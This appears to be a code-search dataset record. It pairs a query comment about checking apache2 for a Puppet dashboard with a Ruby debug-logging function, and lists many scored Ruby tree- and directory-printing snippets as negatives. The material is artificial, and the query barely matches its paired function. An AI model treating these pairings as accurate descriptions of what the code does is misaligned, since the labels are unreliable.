"def generate_directory_index(path)\n html = generate_header(path.blank? ? '/' : path, path)\n\n node = @server.tree.node_for_path(path)\n if node.is_a?(ICollection)\n html << '<section><h1>Nodes</h1>'\n html << '<table class=\"nodeTable\">'\n\n sub_nodes = @server.properties_for_children(\n path,\n [\n '{DAV:}displayname',\n '{DAV:}resourcetype',\n '{DAV:}getcontenttype',\n '{DAV:}getcontentlength',\n '{DAV:}getlastmodified'\n ]\n )\n\n sub_nodes.each do |sub_path, _sub_props|\n sub_node = @server.tree.node_for_path(sub_path)\n full_path = @server.base_uri + Http::UrlUtil.encode_path(sub_path)\n (_, display_path) = Http::UrlUtil.split_path(sub_path)\n\n sub_nodes[sub_path]['subNode'] = sub_node\n sub_nodes[sub_path]['fullPath'] = full_path\n sub_nodes[sub_path]['displayPath'] = display_path\n end\n sub_nodes.sort { |a, b| compare_nodes(a, b) }\n\n sub_nodes.each do |_, sub_props|\n type = {\n 'string' => 'Unknown',\n 'icon' => 'cog'\n }\n if sub_props.key?('{DAV:}resourcetype')\n type = map_resource_type(sub_props['{DAV:}resourcetype'].value, sub_props['subNode'])\n end\n\n html << '<tr>'\n html << '<td class=\"nameColumn\"><a href=\"' + escape_html(sub_props['fullPath']) + '\"><span class=\"oi\" data-glyph=\"' + escape_html(type['icon']) + '\"></span> ' + escape_html(sub_props['displayPath']) + '</a></td>'\n html << '<td class=\"typeColumn\">' + escape_html(type['string']) + '</td>'\n html << '<td>'\n if sub_props.key?('{DAV:}getcontentlength')\n html << escape_html(sub_props['{DAV:}getcontentlength'].to_s + ' bytes')\n end\n html << '</td><td>'\n if sub_props.key?('{DAV:}getlastmodified')\n last_mod = sub_props['{DAV:}getlastmodified'].time\n html << escape_html(last_mod.strftime('%B %e, %Y, %l:%M %P'))\n end\n html << '</td>'\n\n button_actions = ''\n if sub_props['sub_node'].is_a?(IFile)\n button_actions = '<a href=\"' + escape_html(sub_props['fullPath']) + '?sabreAction=info\"><span class=\"oi\" data-glyph=\"info\"></span></a>'\n end\n\n box = Box.new(button_actions)\n @server.emit('browserButtonActions', [sub_props['fullPath'], sub_props['subNode'], box])\n button_actions = box.value\n\n html << \"<td>#{button_actions}</td>\"\n html << '</tr>'\n end\n\n html << '</table>'\n\n end\n\n html << '</section>'\n html << '<section><h1>Properties</h1>'\n html << '<table class=\"propTable\">'\n\n # Allprops request\n prop_find = PropFindAll.new(path)\n properties = @server.properties_by_node(prop_find, node)\n\n properties = prop_find.result_for_multi_status[200]\n\n properties.each do |prop_name, prop_value|\n if @uninteresting_properties.include?(prop_name)\n html << draw_property_row(prop_name, prop_value)\n end\n end\n\n html << '</table>'\n html << '</section>'\n\n # Start of generating actions\n\n output = ''\n if @enable_post\n box = Box.new(output)\n @server.emit('onHTMLActionsPanel', [node, box])\n output = box.value\n end\n\n if output\n html << '<section><h1>Actions</h1>'\n html << '<div class=\"actions\">'\n html << output\n html << '</div>'\n html << '</section>'\n end\n\n html << generate_footer\n\n @server.http_response.update_header('Content-Security-Policy', \"img-src 'self'; style-src 'self';\")\n\n html\n end",
"def print_tree(d)\n \n print_tree(d['l']) if d.key?('l')\n print \"#{d['v']},\" if d.key?('v')\n print_tree(d['r']) if d.key?('r')\n \nend",
"def link_tree\n ''.html_safe.tap do |content|\n content << toggle_link\n\n unless leaf?\n content << h.content_tag(:ul) do\n h.content_tag_for(:li, children) do |c|\n c.decorate.link_tree\n end\n end\n end\n end\n end",
"def print_tree_size()\n\t\tputs \"Total size for #{@folder_walker.folder} is #{commify(@folder_walker.total_size)}\"\n\tend",
"def create_tree(items, rootpage)\n _, tree = visit_nodes(items, rootpage.lft + 1, rootpage.id, rootpage.depth + 1, {}, \"\", rootpage.restricted)\n tree\n end",
"def display\n urls = SiteUrl.where(:site => params[:site]).map(&:url) - [nil,\"\"]\n #render plain: urls\n @tree = urls.count>0? urls_2_tree(params[:site],urls) : []\n @site = params[:site]\n #@tree=[{\"id\"=>\"https://www.google.com/\", \"text\"=>\"https://www.google.com/\", \"children\"=>[{\"id\"=>\"images\", \"text\"=>\"images\", \"children\"=>[{\"id\"=>\"icon.png\", \"text\"=>\"icon.png\", \"children\"=>[], \"icon\"=>\"glyphicon glyphicon-list\", \"state\"=>{\"opened\"=>true}}], \"icon\"=>\"glyphicon glyphicon-list\", \"state\"=>{\"opened\"=>true}}], \"icon\"=>\"glyphicon glyphicon-list\", \"state\"=>{\"opened\"=>true}}]\n logger.debug(\"tree: #{@tree}\")\n respond_to do |format|\n format.html\n format.json { render json: @tree }\n end\n end",
"def file_structure\n #@root_file = \"C:/App_factory/app_factory\"\n #@root_file = \"C:/Documents and Settings/Luxolo Matoti/My Documents/Exercises\"\n @root_file = \"C:/reports_yml\"\n #@root_file = \"C:/current projects/Kromco mes\"\n #@root_file = \"C:/Documents and Settings/Luxolo Matoti/My Documents/My Pictures\"\n\n#_______________________________________________________________\n tree_builder = ReportTreeBuilder.new\n @tree = tree_builder.build_tree(@root_file) # Store in session state to rebuild location of selected file\n session[:tree] = @tree\n#________________________________________________________________\n\n render :inline => %{\n <% @content_header_caption = \"'#{@root_file}'\" %>\n <% @tree_script = build_file_structure_form(@tree,@tree[0].values[0]) %>\n }, :layout => 'tree'\n end",
"def list_children(taxons_collection)\n taxons_collection.sort_by {|p| p.hierarchy}\n html_var = \"\"\n taxons_collection.each do |t|\n if not t.children.empty?\n html_var << \"<li><i class='icon-plus'> </i>\" << link_to(t.name, t) << \"<ul>\" << list_children(t.children) << \"</ul>\"\n else\n html_var << \"<li><i class='icon-white' style='visibility: hidden;'> </i>\" << link_to(t.name, t)\n end\n html_var << \"</li>\\n\"\n end\n return html_var.html_safe\nend",
"def show_binary_tree\n text = tree_levels_text_array\n puts \"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n puts \"\\nBinary Tree Display:\\n \"\n text.each { |row| puts \"\\n\" + row }\n puts \"\\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n end",
"def render_tree(elements, symbols, parents = [])\n i = 0\n x = elements.map do |li|\n last = elements.length == i+1\n\n current = indentation(parents, last, symbols) + li[:value]\n\n children = \"\"\n if li[:children].length > 0\n children = \"\\n\" + render_tree(li[:children], symbols, parents + [last])\n end\n\n i += 1\n current + children\n end\n\n x.join(\"\\n\")\n end",
"def print_item(level:, current_item:)\n # Print the current item\n tabs = \"\\t\" * level\n puts tabs + '+ ' + current_item[:name]\n\n # Print the current item's children\n children = $children_of[current_item[:id]]\n if children && children.length > 0\n children.each do |child|\n print_item(\n level: level + 1, \n current_item: child\n )\n end\n end\nend",
"def show_tree\n\t\t@root_node.show\n\tend",
"def site_tree_select\n pages.order(:names_depth_cache).map { |c| [\"--\" * c.depth + c.menu_name, c.id] }\n end",
"def generate_recurse(entry)\n keyword = entry.full_name\n\n if keyword\n puts keyword\n @current_content = service.info(keyword) #lookup(keyword)\n else\n keyword = ''\n @current_content = \"Welcome\"\n end\n\n file = entry.file_name\n file = File.join(output, file)\n\n #file = keyword\n #file = file.gsub('::', '--')\n #file = file.gsub('.' , '--')\n #file = file.gsub('#' , '-')\n #file = File.join(output, file + '.html')\n\n write(file, service.info(keyword))\n\n cmethods = entry.class_methods.map{ |x| x.to_s }.sort\n cmethods.each do |name|\n mname = \"#{entry.full_name}.#{name}\"\n mfile = WebRI.entry_to_path(mname)\n mfile = File.join(output, mfile)\n #mfile = File.join(output, \"#{entry.file_name}/c-#{esc(name)}.html\")\n write(mfile, service.info(mname))\n end\n\n imethods = entry.instance_methods.map{ |x| x.to_s }.sort\n imethods.each do |name|\n mname = \"#{entry.full_name}##{name}\"\n mfile = WebRI.entry_to_path(mname)\n mfile = File.join(output, mfile)\n #mfile = File.join(output, \"#{entry.file_name}/i-#{esc(name)}.html\")\n write(mfile, service.info(mname))\n end\n\n entry.subspaces.each do |child_name, child_entry|\n next if child_entry == entry\n @directory_depth += 1\n generate_recurse(child_entry)\n @directory_depth -= 1\n end\n end",
"def print_tree(indent = 0, lines = [])\n lines << (\" \" * indent) + self.to_s\n @nodes.keys.sort.each do |reference|\n node = @nodes[reference]\n if node.is_a? APISpec::Namespace\n node.print_tree(indent + 1, lines)\n else\n lines << (\" \" * (indent + 1)) + \"#{reference} => #{node.to_s}\"\n end\n end\n lines.join(\"\\n\")\n end",
"def showIndented(name = \"\", indent = \" \", currentIndent = \"\")\n #N Without this check, would attempt to output time for directories other than the root directory for which time has not been recorded\n if time != nil\n #N Without this, any recorded time value wouldn't be output\n puts \"#{currentIndent}[TIME: #{time.strftime(@@dateTimeFormat)}]\"\n end\n #N Without this check, an empty line would be output for root level (which has no name within the content tree)\n if name != \"\"\n #N Without this,non-root sub-directories would not be displayed\n puts \"#{currentIndent}#{name}\"\n end\n #N Without this check, directories not to be copied would be shown as to be copied\n if copyDestination != nil\n #N Without this, directories marked to be copied would not be displayed as such\n puts \"#{currentIndent} [COPY to #{copyDestination.relativePath}]\"\n end\n #N Without this check, directories not be to deleted would be shown as to be deleted\n if toBeDeleted\n #N Without this, directories marked to be deleted would not be displayed as such\n puts \"#{currentIndent} [DELETE]\"\n end\n #N Without this, output for sub-directories and files would not be indented further than their parent\n nextIndent = currentIndent + indent\n #N Without this, sub-directories of this directory won't be included in the output\n for dir in dirs\n #N Without this, this sub-directory won't be included in the output (suitable indented relative to the parent)\n dir.showIndented(\"#{dir.name}/\", indent = indent, currentIndent = nextIndent)\n end\n #N Without this, files contained immediately in this directory won't be included in the output\n for file in files\n #N Without this, this file and the hash of its contents won't be shown in the output\n puts \"#{nextIndent}#{file.name} - #{file.hash}\"\n #N Without this check, files not to be copied would be shown as to be copied\n if file.copyDestination != nil\n #N Without this, files marked to be copied would not be displayed as such\n puts \"#{nextIndent} [COPY to #{file.copyDestination.relativePath}]\"\n end\n #N Without this check, files not to be deleted would be shown as to be deleted\n if file.toBeDeleted\n #N Without this, files marked to be deleted would not be displayed as such\n puts \"#{nextIndent} [DELETE]\"\n end\n end\n end",
"def node_tree(nodes, &block)\n \n nodes = nodes.dup\n printed_nodes = []\n \n result = \"<ul>\"\n \n # top level nodes first, then others\n for node in nodes\n next if node.instance_of?(Center) || node.instance_of?(Team)\n next unless node.parent == nil\n printed_nodes << node\n result += \"<li>\"\n\n if block_given?\n result += yield node\n else\n result += node.title\n end\n\n children = node.children.dup\n children.delete_if { |r| not nodes.include?(r) }\n if not children.empty?\n result += node_tree_help(children, nodes, printed_nodes, &block)\n end\n \n result += \"</li>\"\n end\n \n # TODO: Add depth counting here to get a minimum of trees\n for node in nodes\n next if printed_nodes.include? node\n printed_nodes << node\n \n result += \"<li>\"\n\n if block_given?\n result += yield node\n else\n result += node.title\n end\n\n children = node.children #.dup\n children.delete_if { |r| not nodes.include?(r) }\n\n if not children.empty?\n result += node_tree_help(children, nodes, printed_nodes, &block)\n end\n \n result += \"</li>\"\n end\n\n result += '</ul>'\n\n return result\n end",
"def sitemap\n\tpages = []\n\tPage.each_with_level(Page.find(:all, :order => 'lft ASC')) do |page,level|\n\t pages << {\n\t :page => page,\n\t :level => level\n\t }\n\tend\n\tpages[0..-2].map! do |p|\n\t p.update(:have_children => p[:level] < pages[pages.index(p)+1][:level])\n\tend\n\tpages.last.update(:have_children => false) unless pages.empty?\n\n\tul_li_for pages do |page|\n %[<a href=\"#{root_url+page[:page].url}\">#{page[:page].menu}</a>]\n\tend\n end",
"def file_list tree_root=nil\n tree_root ||= self.tree_root\n file_list = []\n current_dir = tree_root\n visit_entries self.files do |type, name|\n case type\n when :directory\n current_dir = current_dir + \"/\" + name\n when :file\n file_list.push(current_dir + \"/\" + name)\n else\n throw \"BAD VISIT TYREE TYPE. #{type}\"\n end\n end\n file_list\n end",
"def show_node(tree, node)\n print \"ID:#{node.id} Parent:#{node.parent} Keys:\"\n node.keys.each { |key| print \"[#{key}]\"}\n print \" Sub trees:\"\n node.sub_trees.each { |sub_tree| print \"-#{sub_tree}-\"}\n print \"\\n\"\n node.sub_trees.compact.each { |sub_tree| show_node(tree, tree.nodes[sub_tree])}\nend",
"def build_directory_tree\n\n # Add the user's config directories to the \"ignore_dir\" option because these are all things we won't need printed in a NavTree.\n options.ignore_dir << app.config[:js_dir]\n options.ignore_dir << app.config[:css_dir]\n options.ignore_dir << app.config[:fonts_dir]\n options.ignore_dir << app.config[:images_dir]\n options.ignore_dir << app.config[:helpers_dir]\n options.ignore_dir << app.config[:layouts_dir]\n options.ignore_dir << app.config[:partials_dir]\n\n # Build a hash out of our directory information\n tree_hash = scan_directory(app.config[:source], options)\n\n # Write our directory tree to file as YAML.\n FileUtils.mkdir_p(app.config[:data_dir])\n data_path = app.config[:data_dir] + '/' + options.data_file\n IO.write(data_path, YAML::dump(tree_hash))\n end",
"def children\n # Check to see whether dir exists.\n Slimdown::Folder.new(@absolute_path.chomp('.md')).pages\n end",
"def flow_taxons_tree root_taxon, current_taxon\n return '' if root_taxon.children.empty?\n\n max_level = 1\n\n content_tag :ul, class: 'taxons-list' do\n taxons = root_taxon.children.map do |taxon|\n css_class = (current_taxon && current_taxon.self_and_ancestors.include?(taxon)) ? 'current' : nil\n content_tag :li, class: css_class do\n extra = nil\n extra = taxons_tree(taxon, current_taxon, max_level - 1) if @taxon && [current_taxon.parent.try(:id), current_taxon.id].include?(taxon.id)\n link_to(taxon.name, seo_url(taxon)) + extra\n end\n end\n safe_join(taxons, \"\\n\")\n end\n end",
"def print_non_leaf(node)\n # printer function for .hrl .erl non-leaf elements declarations\n if !@regtally.has?(node)\n node_name = node.s_u_name\n case node.kind\n when \"struct\", \"array\"\n @hrl << \"-record('#{node_name}',{\" \n @erl << \"-define('#{node_name}',\\n\" if node.level == 0\n @erl << \"-define('#{node_name}'(Path),\\n\" if node.level > 0\n @erl << \"#{@@ind[0]}{struct,'#{node_name}',\\n\"\n when \"union\"\n # @hrl << \"-record('#{node_name}',{\" \n @erl << \"-define('#{node_name}'(Path),\\n\"\n @erl << \"#{@@ind[0]}{union,'#{node_name}',\\n\" \n @erl << \"#{@@ind[0]} {?MODULE,union_type,[Path]},\\n\"\n end\n node.children.each do |n|\n print_element(n)\n end\n @regtally.add(node)\n end\n end",
"def printf(list=[@root], output='')\n # remove front list item & add it to the output\n first = list.shift()\n print_string = first.title + ': ' + first.rating.to_s + \"\\n\"\n output << print_string\n # add its children to the back of the list\n if first.left\n list << first.left\n end\n if first.right\n list << first.right\n end\n # repeat until all nodes have been visited, then print output\n if list.empty?\n puts output\n return\n else\n printf(list, output)\n end\n end",
"def output_hierarchy(table)\n output_string = \"%3d %-60s %4s %10s\" \n @stdout.puts\n @stdout.puts 'File Hierarchy'.bold\n @stdout.puts \"%3s %-60s %4s %10s\" % ['Lvl', 'File','Type','Size']\n @stdout.puts '-'*80\n sum_size = 0\n sum_not_existing = 0\n sum_xml_err = 0\n table.each do |t|\n output = output_string % [t[:level],\n format_name(t[:level],t[:path]),\n t[:type].to_s,\n format_size(t[:size])]\n sum_size += t[:size]\n if t[:status] == FileData::STATUS_NOT_FOUND\n @stdout.puts output.red\n sum_not_existing += 1\n elsif t[:status] == FileData::STATUS_ERR\n @stdout.puts output.red\n sum_xml_err += 1 \n else\n @stdout.puts output\n end\n end\n @stdout.puts '-'*80\n summary = \"#{table.length} file(s) with approx. #{format_size(sum_size)}.\"\n if sum_not_existing > 0\n summary += \" #{sum_not_existing} file(s) not found.\".red\n end\n if sum_xml_err > 0\n summary += \" #{sum_xml_err} file(s) with errors.\".red\n end\n @stdout.puts summary\n end",
"def reorganize\n list = params[:list]\n prev_page = nil\n last_root = nil\n list.each_with_index do |item, i|\n item_params = item[1]\n\n page = Page.find(item_params['id'].to_i)\n \n # if root of tree on rails side\n if item_params['parent_id'] == ''\n page.parent_id = nil\n if last_root\n page.move_to_right_of(last_root.id)\n end\n last_root = page\n page.save\n\n else\n page.parent_id = item_params['parent_id'].to_i\n page.save\n \n # shift to the right of previous element if parent is the same\n if prev_page.parent_id == page.parent_id\n page.move_to_right_of(prev_page.id)\n else\n\n # iterate backwards to find last sibling\n current_index = i - 1 \n found_sibling = false\n keys = list.keys\n\n while found_sibling == false and current_index > 0 do\n if list[keys[current_index]]['parent_id'] == item_params['parent_id']\n page.move_to_right_of(list[keys[current_index]]['id'])\n found_sibling = true\n else\n current_index -= 1\n end\n end\n\n end\n end\n\n # set previous item\n prev_page = page\n\n end\n\n respond_to do |format|\n format.json { head :ok } \n end\n end",
"def whitekit_directory_view(path, opened = false)\n data = Whitekit.directory(Rails.root.join(path))\n content_tag :ul, class: \"whitekit-directory #{if opened then 'whitekit-directory-opened' end}\" do\n content = ''\n data[:dir].each do |item|\n content << content_tag(:li) do\n sub = content_tag :span, class: 'whitekit-folder', data: {path: \"#{path.gsub(Rails.root.to_s, '')}/#{item}\"} do\n item\n end\n if session[:whitekit_path] =~ /\\[#{Regexp.escape(\"#{path}/#{item}\")}\\]/\n sub + whitekit_directory_view(\"#{path}/#{item}\", true).html_safe\n else\n sub\n end\n end\n end\n data[:file].each do |item|\n content << content_tag(:li) do\n content_tag :span, class: 'whitekit-file', data: {path: \"#{path.gsub(Rails.root.to_s, '')}/#{item}\"} do\n item\n end\n end\n end\n content.html_safe\n end.html_safe\n end",
"def print_tree(id)\n puts \"--------------------- Tree Record: #{NewYorkTrees::Tree.all[id].name} ---------------------\"\n puts \"\"\n puts \"Common Name:\"\n puts \"#{NewYorkTrees::Tree.all[id].name.ljust(25)}\"\n puts \"\"\n puts \"Scientific Name:\"\n puts \"#{NewYorkTrees::Tree.all[id].scientific_name.ljust(25)}\"\n puts \"\"\n puts \"Bark:\"\n puts \"#{NewYorkTrees::Tree.all[id].bark.ljust(25)}\"\n puts \"\"\n puts \"Twigs:\"\n puts \"#{NewYorkTrees::Tree.all[id].twigs.ljust(25)}\"\n puts \"\"\n puts \"Winter Buds:\"\n puts \"#{NewYorkTrees::Tree.all[id].winter_buds.ljust(25)}\"\n puts \"\"\n puts \"Leaves:\"\n puts \"#{NewYorkTrees::Tree.all[id].leaves.ljust(25)}\"\n puts \"\"\n puts \"Fruit:\"\n puts \"#{NewYorkTrees::Tree.all[id].fruit.ljust(25)}\"\n puts \"\"\n puts \"Distinguishing Features:\"\n puts \"#{NewYorkTrees::Tree.all[id].distinguishing_features.ljust(25)}\"\n puts \"\"\n puts \"---------------------Description---------------------\"\n\n puts \"#{NewYorkTrees::Tree.all[id].description}\"\n puts \"\"\n end",
"def path\n html = ''\n a = []\n m = DcBigMenu.find( @parent.page.menu_id )\n a << m\n while m.parent \n m = DcBigMenu.find( m.parent )\n a << m\n end\n# \n (a.size - 1).downto(0) do |i| \n html << \"<span id=menu-path-#{a.size - 1 - i}>\"\n html << link_4menu(a[i]) \n html << (i > 0 ? ' » ' : '') #›➔\n html << '</span>'\n end\n# Save level to parents params object\n @parent.params[:menu_level] = a.size\n html\nend",
"def traverse_sort_and_add_nav_order_to_nodes(node)\n\t\n\t\t# traverse subfolders, go deep\n\t\tif node_has_children(node)\n\t\t\n\t\t\t node.children.items.each_with_index do |child|\n\t\t\t\t if child.nav_type == \"folder\" || child.nav_type == \"folder+markdown\"\n\t\t\t\t\t items = traverse_sort_and_add_nav_order_to_nodes(child)\n\t\t\t\t\t child.children.items = items if items and items.size > 0\n\t\t\t\t end\n\t\t\t end\n\t\t \n\t\tend\t \n\t\n\t\thas_navig_yml = File.exist?(\"#{node.source_path}/aaaa-navigation.yml\")\n\t\n\t\tif has_navig_yml and node.children and node.children.items?\n\t\n\t\telse\n\t\t\treturn nil\t\t\n\t\tend \n\t\n\t\tsorted_nav_items = nil\n\t\n\t\tif node.children? and node.children.items?\n\t\t\tsorted_nav_items = node.children.items\n\t\tend\n\t\n\t\tif File.exists?(\"#{node.source_path}/aaaa-navigation.yml\")\n\t\t\t# load aaaa-navigation.yml\n\t\t\tnaml = Map.new(YAML.load_file(\"#{node.source_path}/aaaa-navigation.yml\"))\t\t\n\t\n\t\t\t# iterate and re-order navigation.yml\n\t\t\tsorted_nav_items = node.children.items\n\n\t\t\tsorted_nav_items.each_with_index do |sni, i| \n\t\t\t\tsni.nav_order = i + 1000\n\t\t\tend\n\n\t\t\tnaml.nav_items.each_with_index do |naml_item, i|\n\t\t\t\tsorted_nav_items.each do |sni| \n\t\t\t\t\tsni.nav_order = i if sni.source == naml_item.source\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tsorted_nav_items.sort! { |x, y| x.nav_order <=> y.nav_order }\n\n\t\t\tsorted_nav_items.each_with_index do |sni, i| \n\t\t\t\tsni.nav_order = i + 1\n\t\t\tend\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\tend\n\t\n\t\tsorted_nav_items\n\tend",
"def print_structure(structure)\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # First go through all the files in the current structure\n # The current \"structure\" should reflect a dir/subdir\n structure[:files].each do | _file |\n debug_print \"Printing info for #{ _file }\\n\"\n print_entry(_file)\n end\n\n # Next go through all the subdirs and pass them to print_structure\n structure[:subdirs].each do | _subdir |\n debug_print \"Entering #{ _subdir } to print further\\n\"\n print_structure(_subdir)\n end\n end",
"def render(node = nil)\n elt = node | tree\n puts \"\\nNodes: #{elt.body.count}\"\n puts \"\\nAttributes:\"\n elt.attrs.each{ |k, v| puts(\"#{k}: #{v}\") }\n children = elt.body.select{ |i| i.is_a?(Node) }\n puts \"\\nChildren: #{children.each{ |c| render(c) }}\"\n\n\n end",
"def trees_to_html(trees)\nend",
"def retrieve_pages(dir, dot_pages); end",
"def show()\n printed = \"IPv4 Tree\\n---------\\n\"\n list4 = dump_children(@v4_root)\n list6 = dump_children(@v6_root)\n\n list4.each do |entry|\n cidr = entry[:CIDR]\n depth = entry[:Depth]\n\n if (depth == 0)\n indent = \"\"\n else\n indent = \" \" * (depth*3)\n end\n\n printed << \"#{indent}#{cidr.desc}\\n\"\n end\n\n printed << \"\\n\\nIPv6 Tree\\n---------\\n\" if (list6.length != 0)\n\n list6.each do |entry|\n cidr = entry[:CIDR]\n depth = entry[:Depth]\n\n if (depth == 0)\n indent = \"\"\n else\n indent = \" \" * (depth*3)\n end\n\n printed << \"#{indent}#{cidr.desc(:Short => true)}\\n\"\n end\n\n return(printed)\n end",
"def print_depth(item)\n return if item.hidden?\n print_item item, 0\n list_recur_print item, 2\n end",
"def prettyDb(req,res)\n require 'builder'\n urlArray = []\n @db.all.each do |entry|\n urlArray << entry.url\n end\n \n auto_hash = Hash.new { |h,k| h[k] = Hash.new &h.default_proc }\n \n urlArray.each do |path|\n sub = auto_hash\n pp sub if sub.length == 1\n pp auto_hash if auto_hash.length == 1\n path.split(\"/\").each{ |dir| sub[dir]; sub = sub[dir] }\n end\n \n @somecounter = 1\n \n def build_branch(branch,xml)\n directories = branch.keys.reject{|k| branch[k].empty?}.sort\n leaves = branch.keys.select{|k| branch[k].empty?}.sort\n \n directories.each do |directory|\n xml.li(:id => \"phtml_\"+@somecounter.to_s) do\n xml.a(directory, \"href\"=>\"#\")\n @somecounter = @somecounter + 1\n xml.ul do\n build_branch(branch[directory], xml)\n end\n\t end\n end\n \n leaves.each do |leaf|\n xml.li(:id => \"phtml_\"+@somecounter.to_s) do\n xml.a(leaf, \"href\"=>\"#\")\n end\n @somecounter = @somecounter + 1\n end\n end\n \n xml = Builder::XmlMarkup.new(:indent => 2)\n \n xml.ul do\n build_branch(auto_hash, xml)\n end\n \n res.body = xml.to_s\n raise WEBrick::HTTPStatus::OK\n end",
"def recursive_print(result=\"\", node=@head)\n\t\tif node.nil?\n\t\t\treturn result\n\t\tend \n\t\tresult += node.data\n\t\tif node.next \n\t\t\tresult += \" > \"\n\t\tend \n\t\trecursive_print(result, node.next)\n\tend",
"def PrintOutlineTree (item)\n\twhile item.IsValid() do\n\t\tPrintIndent(item)\n\t\tif item.IsOpen()\n\t\t\tprint( \"- \" + item.GetTitle() + \" ACTION -> \")\n\t\telse\n\t\t\tprint(\"+ \" + item.GetTitle() + \" ACTION -> \")\n\t\tend\n\t\n\t\t# Print Action\n\t\taction = item.GetAction()\n\t\tif action.IsValid()\n\t\t\tif action.GetType() == Action::E_GoTo\n\t\t\t\tdest = action.GetDest()\n\t\t\t\tif dest.IsValid()\n\t\t\t\t\tpage = dest.GetPage()\n\t\t\t\t\tputs \"GoTo Page #\" + page.GetIndex().to_s()\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"Not a 'GoTo' action\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"NIL\"\n\t\tend\n\t\n\t\t# Recursively print children sub-trees \n\t\tif item.HasChildren() \n\t\t\tPrintOutlineTree(item.GetFirstChild())\n\t\tend\n\t\titem = item.GetNext()\n\tend\nend",
"def list_trees(path='')\n list(path).delete_if { |k,v| not v.kind_of?(Grit::Tree) }\n end",
"def generate_navigation_yml(node, force = true)\n\n\t\t# traverse subfolders, go deep\n\t\tif node_has_children(node)\n\t\t\t node.children.items.each_with_index do |child|\n\t\t\t\t generate_navigation_yml(child, force)\n\t\t\t end\n\t\tend\t \n\t\t\n\t\tif force or !File.exists?(\"#{node.source_path}/aaaa-navigation.yml\")\n\t\t\n\t\t\tnaml = Map.new({ \n\t\t\t\tcommon_metadata: {\n\t\t\t\t\ttags: [ \"couchbase\" ]\n\t\t\t\t},\n\t\t\t\tnav_items: [] \n\t\t\t})\n\n\t\t\tsubfolders = nil\n\t\t\tif node.source_path?\t\t\n\t\t\t\tsubfolders = Dir.entries(node.source_path).select {|entry| File.directory? File.join(node.source_path, entry) and !(entry == '.' || entry == '..' || entry == 'assets' || entry == 'images') }\n\t\t\telse\n\t\t\t\t ap node\n\t\t\t\t puts \"ERROR: Missing \\\"source_path\\\" in node\"\n\t\t\t\t exit\n\t\t\tend\t\t\t \n\t\t\n\t\t\tmarkdowns = Dir.glob(\"#{node.source_path}/*.markdown\")\n\t\t\n\t\t\t# add each markdown to the collection\n\t\t\tmarkdowns.each do |md|\n\t\t\t\n\t\t\t\tsource = md.gsub(/#{node.source_path}\\//, \"\").gsub(/.markdown/, \"\")\n\t\t\t\n\t\t\t\titem = Map.new({\n\t\t\t\t\tsource: source,\n\t\t\t\t\ttype: \"markdown\",\n\t\t\t\t\tnav_title: process_navigation_name(source),\n\t\t\t\t\tcontent_footers: nil\n\t\t\t\t})\n\t\t\t\tnaml.nav_items << item unless md.start_with? \"aaab-\"\n\t\t\tend\n\t\t\n\t\t\t# add each folder to the collection\n\t\t\tsubfolders.each do |sf|\n\t\t\t\titem = Map.new({\n\t\t\t\t\tsource: sf,\n\t\t\t\t\ttype: \"folder\",\n\t\t\t\t\tnav_title: process_navigation_name(sf),\n\t\t\t\t\tcontent_footers: nil\n\t\t\t\t})\n\t\t\t\tnaml.nav_items << item \n\t\t\tend\t\t \n\t\t\n\t\t\tnaml_yaml = naml.to_yaml.gsub(/^(- )/, \"\\n- \")\n\t\t\n\t\t\t# write out navigation.yml file...\n\t\t\tFile.open(\"#{node.source_path}/aaaa-navigation.yml\", 'w') { |file| file.write(naml_yaml) }\n\t\t\n\t\t\t#ap naml\n\t\tend\n\tend"
] |
[
"0.705941",
"0.7036967",
"0.6705626",
"0.6644185",
"0.6635575",
"0.65990317",
"0.65610635",
"0.6540181",
"0.6534913",
"0.6519284",
"0.6514515",
"0.64905924",
"0.64484364",
"0.6437291",
"0.64331853",
"0.64007074",
"0.63503546",
"0.6333948",
"0.63247776",
"0.63000214",
"0.6283072",
"0.6279026",
"0.6260577",
"0.62535936",
"0.62462646",
"0.62362087",
"0.622848",
"0.6227105",
"0.6223158",
"0.61903083",
"0.61492884",
"0.61449265",
"0.6137809",
"0.6136122",
"0.6134446",
"0.61344",
"0.6101756",
"0.61012673",
"0.6100224",
"0.60962915",
"0.6070606",
"0.6045195",
"0.6042575",
"0.6040353",
"0.6022942",
"0.60174143",
"0.6005441",
"0.5997055",
"0.5973586",
"0.597357",
"0.5968949",
"0.59663725",
"0.5961177",
"0.5961177",
"0.5947385",
"0.5947145",
"0.5941794",
"0.5903389",
"0.59000564",
"0.58984166",
"0.589234",
"0.589121",
"0.58650166",
"0.58298016",
"0.58040005",
"0.5795623",
"0.5794988",
"0.57874954",
"0.57872546",
"0.5782683",
"0.57814616",
"0.5774915",
"0.5771945",
"0.57663566",
"0.5763469",
"0.5747896",
"0.5746114",
"0.5736987",
"0.5732655",
"0.5730579",
"0.5716165",
"0.5712052",
"0.5707195",
"0.5700827",
"0.5700003",
"0.56980336",
"0.56955236",
"0.569028",
"0.56883216",
"0.56813604",
"0.56778806",
"0.5675625",
"0.56663704",
"0.5661694",
"0.56595147",
"0.56553775",
"0.5650051",
"0.5648606",
"0.56476974",
"0.564719"
] |
0.8189242
|
0
|
note: this really checks for apache2, which proxies the puppet dashbooard, if apache2 is down then the dashboard is not available (eventhough puppet system is ok)
|
def debug (msg = "")
if Object.const_defined?('Puppet')
Puppet.debug 'facter(extra_modulepath):'+msg
else
if ENV['FACTER_DEBUG'] == 'true'
$stdout.puts msg
$stdout.flush
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ping\n http_get('/') == 'Consul Agent'\n rescue\n false\n end",
